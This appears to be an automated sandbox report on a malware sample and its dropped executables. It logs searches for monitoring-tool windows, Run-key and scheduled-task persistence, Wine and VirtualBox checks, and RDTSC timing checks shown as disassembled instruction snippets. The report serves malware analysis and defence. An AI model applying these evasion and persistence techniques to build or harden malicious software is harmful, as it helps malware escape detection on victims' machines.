Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsCGDHIEGCFH.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsCGDHIEGCFH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bef6a59ce6.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bef6a59ce6.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b96a79886.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5b96a79886.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3afa1b1567.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3afa1b1567.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4ff2bfa33f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4ff2bfa33f.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3FC25 second address: F3FC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD071 second address: 10BD078 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD078 second address: 10BD089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD089 second address: 10BD092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BD092 second address: 10BD096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC3BB second address: 10BC3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC3C4 second address: 10BC3CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F441484CE76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC3CE second address: 10BC3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC7FF second address: 10BC819 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F441484CE81h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF9FC second address: 10BFA50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F4414D31C2Ch 0x0000000c popad 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F4414D31C28h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2EB6h], esi 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D1B87h], ecx 0x00000036 sub dword ptr [ebp+122D3777h], edx 0x0000003c push DA6E67C4h 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jne 00007F4414D31C26h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFA50 second address: 10BFA82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 add dword ptr [esp], 259198BCh 0x0000000e mov edi, ebx 0x00000010 push 00000003h 0x00000012 movsx edx, ax 0x00000015 sub dword ptr [ebp+122D1B29h], ecx 0x0000001b push 00000000h 0x0000001d mov cx, ax 0x00000020 push 00000003h 0x00000022 pushad 0x00000023 mov dh, 97h 0x00000025 add bl, 0000002Ch 0x00000028 popad 0x00000029 push 886A081Dh 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFC82 second address: 10BFC86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFC86 second address: 10BFC8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFC8C second address: 10BFCDA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4414D31C30h 0x00000008 jmp 00007F4414D31C2Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 sub esi, dword ptr [ebp+122D3961h] 0x00000016 lea ebx, dword ptr [ebp+1245387Dh] 0x0000001c jo 00007F4414D31C2Bh 0x00000022 mov esi, 0AEBA056h 0x00000027 xchg eax, ebx 0x00000028 jmp 00007F4414D31C32h 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F4414D31C2Ch 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFCDA second address: 10BFCDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFCDF second address: 10BFCE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD3C second address: 10BFD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD41 second address: 10BFD47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD47 second address: 10BFD4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD4B second address: 10BFD67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C30h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BFD67 second address: 10BFDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F441484CE84h 0x0000000b popad 0x0000000c nop 0x0000000d and ecx, dword ptr [ebp+122D209Ah] 0x00000013 push 00000000h 0x00000015 mov dl, C1h 0x00000017 push 75B65857h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F441484CE88h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0BD9 second address: 10D0BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F9E second address: 10E0FA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FA2 second address: 10E0FA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FA6 second address: 10E0FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0FB0 second address: 10E0FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5145 second address: 10B514F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B514F second address: 10B5153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5153 second address: 10B5182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F441484CE84h 0x0000000e jmp 00007F441484CE82h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF102 second address: 10DF11F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F4414D31C26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4414D31C2Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF44B second address: 10DF462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF462 second address: 10DF47A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C34h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF47A second address: 10DF486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF486 second address: 10DF48A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF48A second address: 10DF496 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF496 second address: 10DF49A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFB93 second address: 10DFBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F441484CE76h 0x0000000a popad 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFBA4 second address: 10DFBAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCFB second address: 10DFD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6D4D second address: 10D6D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
